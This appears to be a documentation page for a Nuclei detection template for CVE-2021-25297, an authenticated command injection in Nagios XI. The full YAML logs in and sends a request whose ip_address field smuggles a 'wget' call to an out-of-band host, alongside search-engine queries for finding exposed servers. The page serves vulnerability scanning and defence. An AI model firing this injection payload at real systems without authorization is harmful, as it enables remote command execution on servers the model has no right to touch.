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Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection

ID: CVE-2021-25297

Severity: high

Author: k0pak4

Tags: cve2021,cve,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios

Description

Section titled “Description”

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25297


info:
  name: Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection
  author: k0pak4
  severity: high
  description: |
    Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade Nagios to a version higher than 5.7.5 or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://github.com/rapid7/metasploit-framework/pull/17494
    - http://nagios.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25297
    - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25297
    cwe-id: CWE-78
    epss-score: 0.89037
    epss-percentile: 0.98721
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: nagios
    product: nagios_xi
    shodan-query:
      - title:"Nagios XI"
      - http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2021,cve,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios


http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
      - |
        GET /nagiosxi/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: word
        part: body_4
        words:
          - "<b>Ping</b>"
          - "Switch Details"
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true
        part: body


      - type: regex
        name: nsp_auth
        group: 1
        regex:
          - "var nsp_str = ['\"](.*)['\"];"
        internal: true
        part: body
# digest: 4a0a004730450220360c1494570e0ff5fe26b078eb0f6e21693cccf863585f9c49a97b4d00490bd4022100b7c18b74381ebec4cf6707fd977f53f8499998ae10791c21eeb8ad2a910534f7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25297.yaml"

View on Github